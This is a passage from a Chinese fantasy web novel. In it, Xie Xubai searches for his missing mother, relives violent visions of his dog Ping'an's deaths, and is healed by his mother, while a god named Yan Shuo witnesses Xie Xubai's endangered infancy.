不仅如此,谢叙白还发广播通告,将这事在周围片区传得沸沸扬扬,严肃地警告基地所有人,引以为戒。 裴玉衡一度担心谢叙白会引来报复。 但他不是质疑谢叙白的做法有问题,而是觉得做得还不够绝,放任那些人这样潇洒自在地离开,大概率会留下后患。 谢叙白问裴玉衡:“如果有朝一日他们会在背后污蔑你,他们的子孙后辈也会因为那些虚假诋毁对你怀揣偏见,质疑你名不副实,引起诸多非议,甚至影响到你的工作,而你不能辩解,只能闷声吃亏受气,你会害怕吗?” 在后世,就有医护人员听信父辈愤懑的谣言,诽谤裴玉衡差点因为无谓的善举害死人,是个没有实干能力的空架子。 彼时成为主任的李医生碰巧路过,将那些谣言听进耳里,怒气上涌,当场翻脸揍人,医院两方势力的冲突彻底激化。 裴玉衡怔愣,复而淡然一笑:“是非审之于心,毁誉听之于人。(注:出自岳麓书院对联)” 谢叙白定定地注视着裴玉衡,看得后者忍不住伸手摸脸,怀疑脸上沾了什么脏东西。 下一秒,青年唰地拿出台摄像机,煞有其事地抗上肩膀,兴致勃勃:“来,把刚才的话用相同的语气再说一遍。” 裴玉衡:“……”不明白触发孩子兴奋的点在哪儿,但看着那双闪闪发亮的眼眸,有种被崇拜的感觉,说不出拒绝的话。 还有这台摄像机究竟是从哪里掏出来的? 金光在谢叙白手上一闪,眨眼间端举着的摄像机从裴玉衡的面前消失。 洁白病房内,薄纱窗帘随风荡漾,风扇悠悠转动。 然而,躺在病床上的人不是假装重伤未愈的裴玉衡,而是谢叙白。 谢叙白用作弊的方式吸收海量信仰之力,相当于往容量固定的油桶中,不知节制地添加燃料,并且这些燃料还带着未曾过滤的杂质。 控制住傅氏药业的下一刻,他头晕目眩,惨白的脸色在阳光映照下接近透明,冷汗浸湿后背,差点踉跄倒地。 别说融会贯通,收为己用,这负荷也是难以承担的。 此后疗养了足足好几天,谢叙白才稍微恢复一点精神气,只是意识世界的混乱程度和那些重症病患相比,简直有过之而无不及。 面对这样的谢叙白,裴玉衡怎么忍心拒绝他,几乎事事做到有求必应。 但实际情况证明,孩子是不能惯的,特别谢叙白还是个不知安分的主。 上一秒青年还乖乖地缩在床上修养,下一秒就盯着裴玉衡松缓的脸色,眼巴巴地说:“我要出院。” 裴玉衡下意识反驳,板着脸皱眉:“不行,路都走不稳,还想要折腾什么?” “不折腾什么。”谢叙白说,“我想去省科技园。” 省科技园,前面裴玉衡和谢叙白分析过,他的母亲谢语春有极大可能就在里面任职,而且职位和成就不低。 这么多天,谢叙白对找人的事情只字不提,却在说出这句话的时候,用上格外郑重认真的语气。 裴玉衡神情微松,眼底掠过一抹歉疚。 要不是他这边的事情拖累了谢叙白,对方也不会将渴望压抑在心底,忍到现在。 只是谢叙白的身体状况,实在不适合出远门。裴玉衡便柔声哄他:“乖,等好一点再去,啊。” 谢叙白直勾勾地看着他,忽然像个小孩子般撒起娇来:“不,现在就去。” 裴玉衡哭笑不得:“你要怎么去?难不成让人抬副担架过来?” 谢叙白没吭声。 裴玉衡见他垂着脑袋,心里发软,轻叹一口气,认命地去推轮椅。 结果刚一转身,青年的胳膊就伸过来圈住他:“那你背我去。” “你之前也背过的。”谢叙白特指之前潜入傅氏药业地下室,裴玉衡见他虚疲无力,难得强硬地将他背起。 那天还在逞强,如今却像耍赖孩子不要脸,使性子非让裴玉衡背着走。 裴玉衡无奈:“好好好,背。” 谢叙白得逞地一勾唇,伸出手在裴玉衡脸上一抹,分秒不到的时间,裴玉衡就变了个模样,呈现傅倧的长相。 他便背着谢叙白出了病房。 这是个临时搭建起来的集中营,帘子在两张床之间一拉,就是个单独的隔间。 只不过裴玉衡和作为副所长的谢叙白有优待,能拥有独立病房。 外面阳光正好,风和日丽,树梢传来悦耳的鸟鸣。 不远处,断壁残垣被清洁拖车拉走,重新铺却的花岗岩道路整洁干净,清新剂盖过爆炸过后的焦臭味,残破花园重新种上葱郁植被。 施工队红帽子张着大嗓门,手里卷着工程图纸,条理不紊地挥臂指挥:“来来来——放这儿!歪了!再往左边靠一点!对!” 环视左右,几栋新建起来的大楼巍然屹立,初具现代化建筑的宏伟规模,第一医院的牌匾被高高吊起,阳光下反射出明亮的光泽。 一切都是那样欣欣向荣。 卫生所原本地处偏僻,但周围的店铺街道几经扩建,竟也让它跻身成为市中心的标志物,也就是第一医院的原址。 H市是省中心,省科技园就在热闹繁华的中心地带,和卫生所同在经济商圈,只是位置一个南一个北,也有十几个站的距离。 裴玉衡没打算背着谢叙白走过去,就算他有这个体力,谢叙白也吹不了一路的冷风,干脆叫人开一辆车过来,载着他们去往省科技园。 司机抄的近路,约莫二十分钟后,他们抵达目的地。 没让司机陪同,裴玉衡拿出轮椅扶着谢叙白坐上去。 他奇怪地发现,出发前谢叙白百般恳求,撒娇不断,真到了科技园现场,却表现得极其淡然,无波无澜,像是没有任何期待。 裴玉衡按捺疑惑,推着谢叙白开始省科技园的寻人之旅。 知道他俩过来拜访的园长看起来很高兴,听说消息,和其他负责人跑出来热情迎客。 裴玉衡说明来意,可园长等人却对谢语春毫无印象,面面相觑问道:“你们有见过这样的人吗?” “没有。”“嘶,大脑神经方面的专家,我差不多都认识,有点对不上号。”“就算有,H市的医疗水平在业界不算排的上号,如果那人志在鸿鹄,应该也被首都那边招安了……” 裴玉衡原本也有些忐忑期待的心,渐渐沉入谷底。 他看向谢叙白,坐在轮椅上的青年神色平平静静,似乎对结果早有预料。 但那双摆在膝盖上的手,却不由自主地攥紧,轻颤个不停。 如此找了一整个上午,日上三竿,周围人流匆匆忙忙,最终是谢叙白主动要求停下来:“我有点累了,院长,我们休息一会儿吧。” 两人找到路边长椅,坐着休息。 谢叙白修长的手撑着椅背,从轮椅换到长椅上坐着,挨在裴玉衡的旁边。 他抬头注视前方,良久,意味不明地说:“其实我知道她不在这里。” 那天谢叙白收获大量信仰之力,识念呈环形扫遍整座城市,他在那时就发现,谢语春根本不在这个城市。 裴玉衡愣了,他转头想问:你既然知道她不在省科技园,为什么还要吵着过来? 可是话没出口,裴玉衡对上了谢叙白的眼眸,看似澄亮,却黯淡无光,询问的话瞬间咽回喉咙里。 他立时便想到了。 在这陌生的时代,谢叙白唯有两位亲人。除去谢语春,就只剩下了他。如今遍寻不到谢语春的踪迹,一次又一次的希望落空,谢叙白当然会惶恐不安,会失望失落。 裴玉衡心想:难怪……难怪阿余会一改往日坚强的模样,冲他撒起娇来。 瞬间,他心脏发揪般痛起来,揉上谢叙白的头发:“累了吗?……要不要靠着我休息一会儿?” 谢叙白沉默片刻,没有拒绝,歪下身体,额头靠着裴玉衡的肩膀,阖上干涩的眼帘。 裴玉衡感受到他呼吸渐匀,猜测谢叙白这么多天以来,恐怕都因为这事没有睡好觉,顿时心痛到无以复加。 天气冷,他正要脱下大衣给谢叙白盖上,再叫司机把车上的毛毯带过来, 忽然一双纤细的手从旁伸出,先他一步拿出毯子,盖在谢叙白的身上,掖好缝隙。 女人做完这一切,顺势坐在谢叙白的旁边,温柔平静地注视着青年沉沉的睡颜,似叹似笑:“……一不留神,都长这么大了。” 裴玉衡也是好几秒后,才后知后觉地感受到毛骨悚然。 他不知道女人什么时候接近的他们,也不知道那厚实的毛毯从哪里拿出来,周围人来人往,没有一个人对女人的凭空出现产生疑惑。 好像她就应该在这里,和环境自然融入,毫无违和感。 裴玉衡浑身炸起鸡皮疙瘩,后背冷汗直冒,第一反应将谢叙白护在怀里,警惕地盯着突然出现的女人。 女人长相平庸,没有任何出彩的地方,可骨子里泛着一股沉静的气质,叫人神往。 一股微妙的感觉自裴玉衡的心底油然而生,他试探性地问出口:“你是……谢语春?” 第120章 是奇迹 闭上眼的一瞬间,超负荷吸收信仰之力的副作用轰然爆发。神经剧痛,晕眩,恶心,似潮水般一拥而上,几乎将谢叙白的意识淹没。 谢叙白很清楚他的精神世界有多么紊乱,急需来人帮忙治疗。然而裴玉衡此时还没有觉醒出精神力,小黑章鱼下落不明,金丝眼镜亦没有治疗的能力。 凭他现在的精神力强度,若不先一步敞开心扉,一般人无法攻克他的心理防线。 就算有人能做到,让陌生人进入意识世界的风险太大,谢叙白不能赌。 所以他选择忍耐疼痛,等待自愈。 昏迷前谢叙白特意调整表情,呈现出恰到好处的疲倦。再干脆利落切断和身体的连接,以防神经痛导致肌肉痉挛,让裴玉衡看出端倪。 只是这疼痛过于难捱,比第一次觉醒还要疼得剧烈,连思考都带着撕心裂肺的痛感。 因为伤在灵魂,甚至没法用昏迷躲过去。 谢叙白艰难地喘出一口气,将识念沉入精神世界。 精神世界是一个人内心的映照,往日内视精神世界,有山有水,有花草树木、鸟兽虫鱼。方圆之间,自成天地。 如今不知道是发现记忆有假,还是精神世界紊乱的缘故,谢叙白抬头,艰难望去,模糊的视野中只能瞧见一片苍白空茫。 他怔住了。 如果谢叙白处于正常状态,会轻易发现内心的脆弱,并及时收敛调整。 可现在他满脑子只有一个想法。 人的精神世界怎么会是一片空白? 不对,不对……! 撕裂灵魂的痛苦,不曾让谢叙白颤动一下眼皮子,却在意识到他的过往经历可能虚假的刹那间,感受到前所未有的恐惧。 谢叙白慌张地撑起身,脚步踉跄,冲向那茫茫白色。嘭的一声重响!似乎让他撞上什么无形的屏障。 这是什么?难道他消失的世界就藏匿在这屏障之后? 谢叙白唰一下睁大眼睛,手掌攥紧成拳,一下又一下地敲在屏障上,嘭!嘭!嘭——! 屏障出现龟裂的缝隙,下一秒应声而碎,裂缝中似乎有一抹光彩迸溅而出。 谢叙白的眼睛越来越亮,不顾手上被割开的伤口,惊喜地拽住锋利的缺口,用力往两边掰开! 啪嚓!一片刺目血色猝然撞入他的视野。 谢叙白看见了一只狗,一只熟悉的大狗。 大狗半边脸上带着被硫酸腐蚀过的焦黑色旧伤,盘坐在残垣断壁之间,汩汩血流蜿蜒流淌,顺着狰狞的伤口没入厚实粗糙的毛发,又淌落在地。 谢叙白惊喜的表情倏然凝滞,喃喃喊出声:“平安……?” 端看那脸上的旧伤,不是平安又能是谁!? 理智告诉谢叙白,这是他的精神世界,平安不可能出现这里。 但当他奋力冲过去,双手触及粗糙皮毛的一瞬间,掌下传来熟悉的触感,几乎撞碎他的心脏。 是幻觉吗?这么真实的一幕会是幻觉吗? 也是这时,伤重的庞然大物低下头颅,将谢叙白的身体往前用力一顶。 于是恍恍惚惚的谢叙白终于听清楚,空气中不止响起平安粗重急促的喘息声,还有尖锐似婴孩啼哭的鬼叫! 他仰头看去,漫天都是猫狗怨魂,密密麻麻,遮蔽天空。 和家里可爱呆萌的模样完全不同,这些鬼魂们维持着惨死的状态,皮肉撕裂,肢体破碎,周身散发着挥之不去的死气。 不远处的楼房传来一声哨声,谢叙白猛然看过去,极好的眼力让他捕捉到一道熟悉的影子。 即使过去很长时间,他仍然一眼就认了出来,那高楼上满脸嚣张捏着哨子的男人,正是欲要把平安炼化诡怪的张斌! 可张斌不是死了吗!? 不待他仔细思考,听到哨声的鬼魂们发了狂,淌着血泪的眼睛里满是被控制的怨恨和挣扎,张开血盆大口,径直扑咬上来! 谢叙白一惊,下意识驱使精神力,可是金光不曾出现,他也没有感知到精神力的踪迹。 眼看尖锐的獠牙近在咫尺,他连忙举起双臂,护住脑袋。 痛感没有增加,反而叫他听见几声“噗呲噗呲”的闷响。 谢叙白猛然睁眼,看见平安的爪子挡在眼前,被好几只怨魂疯狂撕咬,血液四溅。 “平安!!” 那一瞬间,谢叙白双眼一黑,脑子嗡地炸响。 他捡起地上的破木板,疯狂地想要冲上去,赶走那些鬼魂,狗子平安却用爪子将他小心翼翼地按在肚子下,仍由他大喊大叫,不肯放开他半分。 谢叙白听到怨魂们进食后发出吼叫,那叫声像是饱食后的餍足喟叹,又似是不甘挣扎的哭嚎。 听到更多皮毛撕裂的声音,还有平安的骨头被怨魂咬碎,发出嘎吱嘎吱的脆响。 听到血流如注,哗啦啦砸落地面,在残破的地面盘踞成黏稠的水洼。 “跑啊平安!你怎么不跑啊!别管我快跑!听见没有平安!” 谢叙白急得快疯了!手往上伸,用力去掰扯平安的爪子。却无意摸到一个坚硬冰冷的东西。 似乎是……锁链。 是啊,用咒术凝成的锁链。 所以平安跑不了,不能跑。 霎时间,谢叙白像是被人兜头泼了一盆冰水。他瞳孔发颤地抬头看,对上一只凝视他的猩红独瞳。 “呜……” 平安静静地凝视着它,逐渐漫上一层湿漉漉的水汽,最后发狠地一咬牙,扭头张口咬住好几只怨魂,在凄厉的惨叫中将它们吞吃入腹,吸收诡怪力量,身体不断膨胀。 再然后,平安朝着张斌所在的位置冲了出去! 血字锁链犹如长满尖刺的荆棘,裹挟上平安庞大的身躯,扯开它的骨骼,搅碎它的腿骨,更多的血如雨而下。 平安拼尽全力咬住惊慌失措的张斌,它被四分五裂的影子,也在最后一刻倒映在谢叙白睁大的瞳孔中—— “平安!!!” 谢叙白目眦欲裂,不管不顾地冲过去,再次撞到一个无形的屏障。 嘭!新的屏障紧跟着被撞碎,残片淅淅沥沥掉落在地。 就像闯关时从一个场景跳跃到另一个场景,谢叙白再度看见了平安。 伤痕累累的大狗似乎在逃命的路上,张牙舞爪的怨魂追在它的身后,发出刺耳尖啸,幽暗死气所过之处,寸草不生,哀鸿遍野。 大狗无意间发现呆站在路边的谢叙白,眼珠子一颤,径直冲过来,叼住青年的后衣领。 谢叙白来不及高兴看见活着的平安,下一秒拴在平安脖颈上的血字锁链出现,将平安往后一拽。 一人一狗始料未及,倒飞回去,跌入涌动的怨魂潮。 “啊啊啊啊!” 数不清的怨魂咬上身体,剧痛侵袭谢叙白的全身,他情不自禁发出惨叫。 后衣领随之传来一股大力,原是平安在最后一刻用尽力气,将他丢出怨魂的包围圈。 “不!平安!!!” 话音未落,谢叙白后背传来嘭的巨响,又是屏障被击碎的声响。 ……究竟有多少次死亡? 谢叙白充斥着痛苦和愤恨的大脑没法细数。 唯有那么几次,平安没有和怨魂、张斌当场同归于尽,奄奄一息的身体在他的掌下剧烈起伏,逐渐变得冰冷安静,涣散的瞳孔失去光彩,灰蒙蒙的,没有一丝生机。 谢叙白捂住嘴,沙哑的嗓子咳出血,已经连嘶喊都发不出来了。 他从未感受过这样无力,像不小心跌入沼泽,越挣扎便陷入得越深,越是不能挣脱,恐惧漫上口鼻,氧气急剧缺失,让他濒临窒息。 当又一层屏障在谢叙白面前破碎时,他透过裂开的缝隙,瞄见如火焰般热烈的红色鳞片,还有一双写满癫狂的血红兽瞳。 遮天蔽日的红鳞怪物,是江凯乐,他的第一个学生。 当谢叙白意识到这点时,从怪物口中喷吐的火焰,已然将市区建筑连成一片火海地狱。 大火无情,空气扭曲,将沿途草木行人烧成焦黑灰烬,一路蔓延至他的脚底。 谢叙白满脑子都是平安的死状,双眼映照着绝望嘶吼的红鳞怪物,终于被雾气洇湿。 也是这一刻,身后忽然伸出一双手,将他往后拽了一步。 这一步的距离,似乎隔绝了空间,将可怖的火焰阻挡在外,无法离谢叙白更近一步。 那只手顺势挡住谢叙白的眼睛,女人柔和的嗓音从头顶传来:“你爸爸曾经用亲身经历论证过,遗忘是大脑的保护机制,过量繁琐的信息、急剧悲痛或高兴的情感,都会给人脑造成极大的负担……不必强行逼迫自己去唤醒记忆。” “崽,坚持不住的时候,太害怕的时候,逃避并不可耻。” 谢叙白:“……” 他嚅嗫嘴唇,颤抖地抓住女人的手,将她的手掌一点点拉开。 瞄着青年极度不稳的状态,抖动的肩膀,绷紧的肌肉,女人几次以为他会控制不住地回头。 然而长达数秒,谢叙白只是一动不动地凝视火海中的红鳞怪物,直至将所有的细节梳理成线索,收纳眼底,了然于心。 他哑声陈述:“那些并不是我的幻觉,是曾经发生过的历史,对么。” 口吻残留着一丝未能消化的痛苦,却平静沉稳如旧。 既有周潮生提出转世重生观点的前景,那么联想到自己也是重生轮回的人,也没什么好奇怪的。 头顶传来女人无可奈何的轻叹,又似乎带着一点欣慰的感慨。 “那么,你是真实存在的吗?”谢叙白掐住轻颤的手指,尽量平稳地问道,“我又是什么?是人类、实验品,还是伪装成人类的怪物?” 不怪谢叙白有如此猜忌。 当过往经历被否定,当他在收集信仰之力的时候产生莫名的熟悉感,当满世界寻找不到母亲孕育自己的痕迹,他总会质疑自己的身份、身世,乃至于个人存在。 背后的女人迟迟不动,谢叙白表面不动声色,实则心脏一点点地揪紧、生疼。 也是下一瞬间,女人嘴里溢散出一抹轻笑。 一股无形的巨力将谢叙白举到高空,抱着他风火轮似的转了好几个圈。 谢叙白始料未及,头晕目眩,慌张地喊:“等一下,停!” 女人尾音上扬,恶声恶气,伸手捏住谢叙白的脸蛋,往上一拧:“臭小子!个子高了翅膀硬了,学会拿腔作调试探你妈了?” 谢叙白:“……” 他紧咬下唇,直勾勾地盯着女人的脸,眼眶湿意未散,无声红了个彻底。 女人被那双润湿的眼睛看得心脏一颤,将人环抱,用混不吝的语气哼笑说:“你是谁?你是老娘含辛茹苦养活的儿子,是平安的主人,是江凯乐的老师,是所有人认识的谢叙白。” “你就是你,独一无二。不是什么会失控的怪物,也没有什么奇奇怪怪的身份。”女人拍着谢叙白的背,忽然话锋一转,摸摸下巴说,“也不能这么说,要说了不得的身份,我儿子还真有两个……又或者是三个?” 谢叙白被女人抱在怀里也不显得别扭,他举起手一看,小手稚嫩苍白,看着只有五六岁的样子。 果不其然,他变小了。 谢叙白没有吭声,蜷缩在女人温暖的怀抱中,树袋熊一般将她抱紧。只在女人停下来的时候,用下巴蹭蹭她的肩膀,示意人继续说。 女人被蹭得心里发软,笑着席地而坐,和小叙白面对面,指尖点点他的脑袋:“避免你的脑袋炸开花,我先给你透露其中一个。” “白白,你知道自己有多厉害吗?” 见小叙白摇头,女人眉梢一扬,直接开夸:“人们无法承载超出认知以外的信息,这个‘信息’不单在质,还在量。” “一般人,像你遇上的那个疯子玩家,多死上几次就会丧失自我,理智崩坏。不一般的人,像你爹裴玉衡,觉醒后的精神力足够高,但也只能吸收几辈子的记忆,再往上就不行了,会变成智障。” “而你不一样。”女人揉揉小叙白的脸蛋,“发现没有?哪怕亲眼看过那么多痛苦的记忆,不断经历所爱之人的逝去,你仍旧能够保持清醒,其心智之坚韧,全世界都找不出第二个。” 小叙白沉默一会儿,大概是自己也觉得不可思议,他情不自禁地问:“我是改造人吗?” “不……正因为不是,才不可思议。”女人毫不犹豫地回答,眼神愈发柔和,将挡住小孩眼睛的碎发拨到一边,“你是几十亿分之一的奇迹。” 她说话的同时,一股强悍的精神力温柔爆发,在谢叙白的精神世界呈环形涤荡而出,如春雨润物细无声,抚慰紊乱,治疗那些开裂的伤痕。 外面。 坐在长椅上的女人揉了揉青年的头发,不否认的态度,让裴玉衡肯定了自己的猜测。 几乎瞬间,裴玉衡皱起眉头:“既然你知道他在找你,为什么之前不肯现身?” 凭女人怪异的现身方式,裴玉衡未尝想不到对方或许有什么难言之隐,想要推醒谢叙白起来见人的手,也在最后一刻及时收了回去。 但裴玉衡几次见到谢叙白找不到人后失魂落魄的样子,难免不会为自家孩子心痛,迁怒于女人的熟视无睹。 此外,裴玉衡的心中也有着诸多疑虑。 女人没有正面回应,而是问他:“你认为历史存在必然性吗?” 裴玉衡闻言一头雾水,观察女人的神情,谨慎地回答:“存在。按照现有学说,历史发展与当前时代的社会形态挂钩,存在因果关联,受事物内部的根本矛盾制约,无法由个人意志改变。” 女人不置可否,伸手指向一个过路人:“你觉得他在走过路口的时候会不会摔倒?” 裴玉衡定睛看过去,那名路人没注意到他们的谈话,边走路边低头看手机,离走向女人所说的十字路口只剩几步路。 裴玉衡第一反应是他怎么可能预知到那人的走向,却在女人意味深长的注视中,视野忽然浮现出犹如幻觉般的层层重影。 他好似看见路人头也不抬地往前走,快到路口的时候,身边忽地冲出来一辆共享单车,车上的人慌忙大喊,吓了路人一跳,情急之下路人一脚踩空! 裴玉衡说:“……会。” 不过两秒,他的视野一晃,一辆共享单车风风火火地从左边车道冲出来,车主连声大喊:“躲开!躲开!” 路人猛然抬头,下一秒果真如裴玉衡预料中踩空,啪的一声摔倒在地:“嗷!嘶……我的手机!” 车主连忙停下车,跑过去搀扶那人。 裴玉衡看着那边咋咋呼呼的动静,不由得怔住,随即一脸错愕地转向女人:“刚才那是怎么回事?” “一块石头经过反复打磨,洗去浮灰,痕迹仍在。犹如同样的事情经历数遍,也会在人的灵魂深处留下无法磨灭的痕迹。” 女人说:“你再看,猜那人的手机会不会摔上第二次?” 裴玉衡凝神再看。 如刚才一样,他眼前浮现出似有若无的重影,仔细分辨后说:“会。” 女人却是一笑:“我猜不会。” 裴玉衡又是一怔,来不及开口,被车主搀扶到树下的路人便没好气地抽出手,结果太用力,往后踉跄了一步,啪的一下踩进灌木丛。 在里面躲懒的猫瞬间炸毛大叫,跳起来给了路人狠狠一爪子,路人喊着“我靠我靠”,身子向后栽,手机瞬间脱手飞了出去! 这下手机摔地上,几乎成为板上钉钉的事实。 可女人忽地抬起手来,一股无形的气流漩涡般冲过去,飞快地捞起手机,塞回路人的手中。 “……”看见这一幕的裴玉衡,“你这不是作弊么?” “不然呢?”女人不以为耻,言笑晏晏,“历史存在必然性,不以个人意志而转移,想要改变历史,那只能不当人了。” 不知道是不是和谢叙白一起历练得多了,裴玉衡微妙地听出女人这句话里的一语双关。 他斟酌话语,想要套出更多的信息,忽然瞥见一阵阴冷的白雾从路人俩的周围生成,似利爪般朝外弥漫。 刹那间,空气中的气温起码骤然下降二十多度,白雾中隐约能听见诡怪凄厉的嘶喊。 裴玉衡感觉到危险,浑身寒毛直竖,伸手去背谢叙白。 结果一个跑字还未吼出口,女人再次扬手,气流似刀刃飞射而出,看似轻轻巧巧的一击,实则裹挟着难以抵抗的威压,将白雾劈了个粉碎! 裴玉衡呼吸一滞,谢叙白曾经给他介绍过,如果他没记错的话,那些蠕动的白雾,代表连傅氏集团都奈何不了的规则之力! 但女人也不能完全压制住那些白雾,白雾被劈碎后,些许残留在空气中,丝丝缕缕地朝他们的方向摸过来,森冷危险,宛若吐信的毒蛇。 女人无奈地耸耸肩:“看见了吗,我也想和崽崽好好温存一下,奈何总有阴暗傻帽见不惯别人过得幸福美满。” 她说着站起身,在谢叙白的额头落下温柔一吻,随后看向裴玉衡。 裴玉衡以为她有什么交代事项,却见女人不言不语,俯身凑了过来。 两人的距离愈发接近,裴玉衡下意识往后靠,直至背抵在椅子上,退无可退,他屏住呼吸,与女人玩味的视线撞在一起,没来由地感觉到心跳加快,两只手不知道该往哪里放。 他始终憋着一句不敢向谢语春亲口证实的疑惑……对方是否是他的妻。 看这架势,好,好像是? 谁想到女人一勾唇角,并没有如人预想中亲下去,停在一个恰到好处的位置。 “想什么坏事情呢,学弟?”女人谑然道。 这个距离,只差一个指尖,两人的鼻子就能撞在一起,交缠灼热的呼吸。 裴玉衡能清晰看见浓密如鸦羽的眼睫毛,还有双潜藏在沉静眸色深处,瑰丽到惊心动魄的色彩。 “没有!”裴玉衡慌张撇头,“你叫我什么?学弟……?” 女人瞬间瞪大眼珠子:“好哇,你个没良心的,连我都不认识了!儿子都长这么大了,你说不认就不认?” 裴玉衡搜遍脑海都找不出和女人相识的记忆,顿感百口莫辩,对上女人泫然欲泣的目光,已然慌了神:“不是,你听我解释,我,我可能——” 却又惊闻一声轻笑。 他茫然一看,女人脸上哪有要哭的迹象,有的只有捉弄人成功的狡黠。 裴玉衡愣了愣,瞬感好气又好笑:“你这人真是——!” 真是什么?裴玉衡忽地卡壳,说不出来,女人像是提前预料到他会发火,及时笑着后撤几步,停在空旷的人行道上。 随着她做出这一动作,她的存在仿佛也彻底暴露。整片街区被唤醒,白雾疯狂奔涌至半空,犹如百米海啸铺天盖地冲向女人的位置! 裴玉衡惊愕:“快躲开!” 女人佁然不动,柔和的目光望向谢叙白,似乎在等待着什么。 而另一边,进入时空隧道的宴朔,终于找到那段令他感到怪异不妥的历史节点。 ——他将会看见幼年时期的谢叙白。《 》 120-130 第121章 宴总久违地出场了…… 之前打开时光之镜帮谢叙白确认谢语春是否存在的时候,宴朔发觉有一股和自己不相上下的力量,在试图阻止他审视过往。 于是他把管理权交给吕向财,假借出差之名,步入时空隧道,亲身去一探究竟。 同一个时空不能存在两个相同的个体,但神可以模糊自己的因果,改变身体物质构成,平衡时序的混乱,所以这一定论对神无效。 宴朔踱步行走在时空隧道中,诸多历史轨迹似洪流奔涌,从他的眼底一掠而过。 看得越多,宴朔心中的困惑不但没有得解,反而越深。 只因他发现,那股阻止他的力量,与祂同源,似乎就是……祂自己? 也是这个时候,宴朔忽然感受到一股无形且强烈的召唤,他蓦然站定,回望过去,金色的历史长河扑打在他的裤脚,激起阵阵浪花。泠然视线似闪电跃出,破开时间与空间的阻隔,捕捉到一道身影。 那是一个女人,一个长相平庸气质沉静的女人。 宴朔一眼认出那是谢语春,谢叙白一直在寻找的母亲。于是短暂的沉吟后,祂回应了那人的召唤,身影从时间长河中消失,现身谢语春的面前。 刚一落地,宴朔就嗅到了浓郁到黏稠的血腥味。 这里是一个居民区,但称为居民区不太恰当,因为它已经在激烈的混战中变成一片废墟。 宴朔嗅到的血腥味,来源于女人的身上,来源于地上横七竖八的人类尸体,更来源于那些被大力糊在残桓断壁上的肉泥——那些怪物死得不能再死,身躯被无名力量碾碎,已经不成原形。 女人头朝下,脸色因虚脱而显得格外惨白,疲累地急喘着,血液混着汗水成股流淌。 她的右手紧捏一柄荆棘利刺的漆黑长剑,剑尖钉穿一颗S级怪物瞪大眼睛不敢置信的头颅,直凿地面,地砖蛛网般破碎。 而她的左手,则死死往胸口回笼,细看会发现被她竭力护在怀中的襁褓。 那些怪物死后并没有消停,周围白雾弥漫,仿佛在抽取它们惨死的怨气和恶念。 诸多恶念凝实,化作沥青般浓稠黏腻的黑气,在女人周遭蠢蠢欲动,女人气息愈发虚弱,死亡近在咫尺。 直至宴朔现身,它们似乎畏惧,朝外退散。 宴朔第一时间看向女人怀中不足周岁的婴儿,他不会认错,这个婴儿就是谢叙白。 记忆中的谢叙白,从一开始就是普通人,然而他却在这个婴儿的身上,发现一丝不同寻常的力量,尽管很微弱,却叫祂也心惊。 可与之同时,婴儿身上弥漫着一股强烈浓郁的死气,宴朔透视皮下,发现婴儿的五脏六腑被黑气侵蚀,经脉血管堵塞,细如发丝,生命体征正在急剧下降。 若非女人用精神力维系着婴儿的心脉,恐怕下一秒婴儿就会断气。 宴朔终于在此刻明白,为什么谢语春有着长寿的面相,眉宇间却笼罩着一股死气,病骨沉疴。 他顺着女人的目光看向襁褓里的谢叙白,心中泛起微妙的异样,不等他开口询问,女人却猛地咳嗽一声,哇地呛出一大口鲜血。 那血洒在地上,红中透黑,还有破碎的脏器血块。 宴朔本该对一名人类的生死不为所动,但心里刹那间冒出谢叙白那张脸。 他仍旧记得青年那双颤动的瞳孔,澄澈干净,望着时光之镜中的谢语春,泛起孺慕怀念的粼粼微光。 心中一动,手便伸了出去,搀扶上女人的手臂。 女人快速地换上一口气,忽然爆发出强大的力气,反手抓住宴朔,让宴朔触碰怀中的婴儿。 “没时间了,这是最后的机会,也是最有希望的一次。”女人恳求地说,语调不似人类的语言,含着某种古老神秘的韵律,“请您为他赐下祝福。” 宴朔心里的古怪更重一分。 司职蛊惑、破坏、灾厄的邪神,还是头一次被人恳求赐福。 即便谢叙白是他见过最特殊的人类,对方又能承担起他的力量吗?何况这还是一个心智不全,没能发育完全的婴儿。 女人没有再开口,含着期望与希望,沉静地凝视着他,她的气息愈发虚弱了,但那不意味着她的消逝。 宴朔敏锐地发觉女人的心脏从躯体中消失了,此外还有内脏、四肢,眼睛、嘴……诸多器官逐一消失,她的灵魂亦随着肉身的死亡,以一种残酷到触目惊心的方式,破除因果,由人类强行转变为某种虚无强大的存在。 这个女人做了什么?她献祭了自己? 宴朔有股窥见蚂蚁以命为筹码、吞吃大象的惊诧,终于气息不稳。 纵观场下,一片废墟,放眼望去都是碎肉残肢,尸骸遍野。黑气被女人的精神力阻挡在外,无时无刻不在释放浓烈的杀意。 正如女人所说的那样,没时间了,待到女人绝命之时,就是婴儿被大卸八块蚕食之期,局势紧张到一触即发。 可宴朔心里还有他无法忽视的问题,首先是他来到这里后,身上莫名其妙沾染上好几道因果,与还是婴儿的谢叙白藕断丝连。 其次女人似乎认得他?他没有印象,意味着记忆有损。 为什么说这是最后的机会,又为什么说最有希望,难道他们共同面临着什么困境? 迷雾重重,即便是宴朔也无法直接窥探,满腔困惑更是无从得解。宴朔特别厌恶这种被动到迷茫的状态,这让他感到烦躁无比,破坏的冲动愈发旺盛。 但鬼使神差的,触及婴儿脸蛋的一刹那,所有的困惑和暴戾从宴朔的心中涤荡一空,心安得令他诧异。 女人似乎误会了宴朔专注的凝视,沉默一秒,眼神闪烁,兀自镇定地开口:“我知道,您还在怨恨他的欺瞒……” 宴朔:“?” 谁的欺瞒?欺瞒谁? 也是这个时候,被触碰的婴儿似有所感地睁开双眼,挣扎蠕动,用小小的柔软的手,拽住宴朔长着硬茧的宽掌。 他像一只孱弱的猫儿,呼吸轻到接近于无,仅是睁眼伸手,就花费所有力气,谁都可以轻松将他扼杀。 可当他睁开双眼之时,那里面仿佛荡开一阵炙热明亮的光辉,在这片生机尽毁的死地中,犹如黑夜中初升的第一抹阳光般耀眼。 宴朔就像被击中般,骤然僵在原地。 仿佛从舌根蔓延出一种复杂难言的滋味,化作洪流,在他的胸口横冲直撞,流经四肢百骸。 同一时间,原本就蠢蠢欲动的黑气,突然变得更加凶残,仿佛极其忌惮婴儿的存在,化作无数双狰狞的魔爪,从四面八方涌出,竟然想要越过宴朔,不管不顾地朝他发起攻击! 宴朔眼神一冷,反手一挥,无形的气浪当空砸下,将那些魔爪撕成碎片。 但击碎这些东西,也让他感受到强烈的排斥力。 ——【规则】想要杀死谢叙白。 ——【规则】不允许任何人救助谢叙白。 感应到自虚空传来的这两句强烈警告,宴朔当场冷笑出声:“你在命令我?” 